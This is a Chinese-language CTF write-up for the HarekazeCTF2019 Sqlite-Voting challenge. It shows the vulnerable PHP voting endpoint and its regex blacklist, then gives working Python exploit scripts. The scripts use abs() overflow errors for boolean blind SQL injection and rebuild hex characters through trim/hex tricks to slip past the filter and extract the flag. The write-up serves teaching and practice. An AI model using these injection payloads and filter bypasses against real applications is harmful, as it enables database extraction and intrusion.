[HarekazeCTF2019]Sqlite-Voting

直接给的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
error_reporting(0);

if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}

function is_valid($str) {
$banword = [
// dangerous chars
// " % ' * + / < = > \ _ ` ~ -
"[\"%'*+\\/<=>\\\\_`~-]",
// whitespace chars
'\s',
// dangerous functions
'blob', 'load_extension', 'char', 'unicode',
'(in|sub)str', '[lr]trim', 'like', 'glob', 'match', 'regexp',
'in', 'limit', 'order', 'union', 'join'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}

header("Content-Type: text/json; charset=utf-8");

// check user input
if (!isset($_POST['id']) || empty($_POST['id'])) {
die(json_encode(['error' => 'You must specify vote id']));
}
$id = $_POST['id'];
if (!is_valid($id)) {
die(json_encode(['error' => 'Vote id contains dangerous chars']));
}

// update database
$pdo = new PDO('sqlite:../db/vote.db');
$res = $pdo->query("UPDATE vote SET count = count + 1 WHERE id = ${id}");
if ($res === false) {
die(json_encode(['error' => 'An error occurred while updating database']));
}

// succeeded!
echo json_encode([
'message' => 'Thank you for your vote! The result will be published after the CTF finished.'
]);

当update查询成功时,返回An error occurred while updating database,否则返回An error occurred while updating database,可以通过构造报错进行bool注入

sqlite:

1
如果X是整数-9223372036854775808,则abs(X)引发整数溢出错误

sqlite常规注入:

sqlite有一张系统表sqlite_master,其中两个字段namesql分别是所有表的表名,和表的结构(包括列名)
sqlite中没有ascii,用unicode代替

题解

先爆出flag的长度:

先考虑对 flag16进制长度的判断,假设它的长度为 x,y 表示 2 的 n 次方,那么 x&y 就能表现出x二进制为1的位置,将这些 y 再进行或运算就可以得到完整的 x 的二进制,也就得到了 flag 的长度,而 1<<n 恰可以表示 2 的 n 次方

那么如何构造报错语句呢?在sqlite3中,abs函数有一个整数溢出的报错,如果abs的参数是-9223372036854775808就会报错,同样如果是正数也会报错
利用脚本判断flag长度

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
url = "http://42d6c14f-e97e-4c02-ba69-81757f96aea0.node4.buuoj.cn:81/vote.php"
l = 0
for n in range(16):
payload = f'abs(case(length(hex((select(flag)from(flag))))&{1<<n})when(0)then(0)else(0x8000000000000000)end)'
data = {
'id' : payload
}

r = requests.post(url=url, data=data)
print(r.text)
if 'occurred' in r.text:
l = l|1<<n

print(l)

这一题对盲注语句的构造很巧妙,首先利用如下语句分别构造出 ABCDEF ,这样十六进制的所有字符都可以使用了,并且使用 trim(0,0) 来表示空字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# hex(b'zebra') = 7A65627261

# 除去 12567 就是 A ,其余同理

A = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)'

C = 'trim(hex(typeof(.1)),12567)'

D = 'trim(hex(0xffffffffffffffff),123)'

E = 'trim(hex(0.1),1230)'

F = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)'

# hex(b'koala') = 6B6F616C61

# 除去 16CF 就是 B

B = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{C}||{F})'

然后逐字符进行爆破,已经知道 flag 格式为 flag{} ,hex(b’flag{‘)==666C61677B ,在其后面逐位添加十六进制字符,构成 paylaod

再利用 replace(length(replace(flag,payload,’’))),84,’’) 这个语句进行判断

如果 flag 不包含 payload,那么得到的 length 必为 84,最外面的 replace 将返回 false ,通过 case when then else 构造 abs 参数为 0 ,它不报错

如果 flag 包含 payload ,那么 replace(flag, payload, ‘’) 将 flag 中的 payload 替换为空,得到的 length 必不为 84,最外面的 replace 将返回 true ,通过case when then else 构造 abs 参数为 0x8000000000000000 令其报错

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
# coding: utf-8
import binascii #处理十六进制编码
import requests #向服务器发送HTTP请求
URL = 'http://9519b34e-ed57-44c1-9b3d-f10029f33915.node5.buuoj.cn:81/vote.php'

#确定 flag 的长度
l = 0
i = 0
for j in range(16):
r = requests.post(URL, data={
'id': f'abs(case(length(hex((select(flag)from(flag))))&{1<<j})when(0)then(0)else(0x8000000000000000)end)'
})
if b'An error occurred' in r.content:
l |= 1 << j
print('[+] length:', l)

#这个表格定义了一些复杂的 SQL 表达式,将字符 A-F 转换成 SQL 表达式。稍后用于在猜测 flag 内容时替代字母 A-F。
table = {}
table['A'] = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)'
table['C'] = 'trim(hex(typeof(.1)),12567)'
table['D'] = 'trim(hex(0xffffffffffffffff),123)'
table['E'] = 'trim(hex(0.1),1230)'
table['F'] = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)'
table['B'] = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{table["C"]}||{table["F"]})'

#这个部分是核心,通过每次添加一个字符,逐字符地推测 flag 的内容。
# res 初始化为 flag{ 的十六进制编码。
# 使用循环遍历 0-9 和 A-F 字符集。
# 每次构造一个 SQL 查询,根据响应推测下一个字符的十六进制值。
# 如果推测正确,res 就会添加该字符。
# 最终的输出为解码后的 flag。
res = binascii.hexlify(b'flag{').decode().upper()
for i in range(len(res), l):
for x in '0123456789ABCDEF':
t = '||'.join(c if c in '0123456789' else table[c] for c in res + x)
print(t)
r = requests.post(URL, data={
'id': f'abs(case(replace(length(replace(hex((select(flag)from(flag))),{t},trim(0,0))),{l},trim(0,0)))when(trim(0,0))then(0)else(0x8000000000000000)end)'
})
if b'An error occurred' in r.content:
res += x
break
print(f'[+] flag ({i}/{l}): {res}')
i += 1
print('[+] flag:', binascii.unhexlify(res).decode())

image-20241108203100687

参考链接:https://blog.csdn.net/qq_46263951/article/details/119727922

参考链接:https://www.cnblogs.com/20175211lyz/p/12264779.html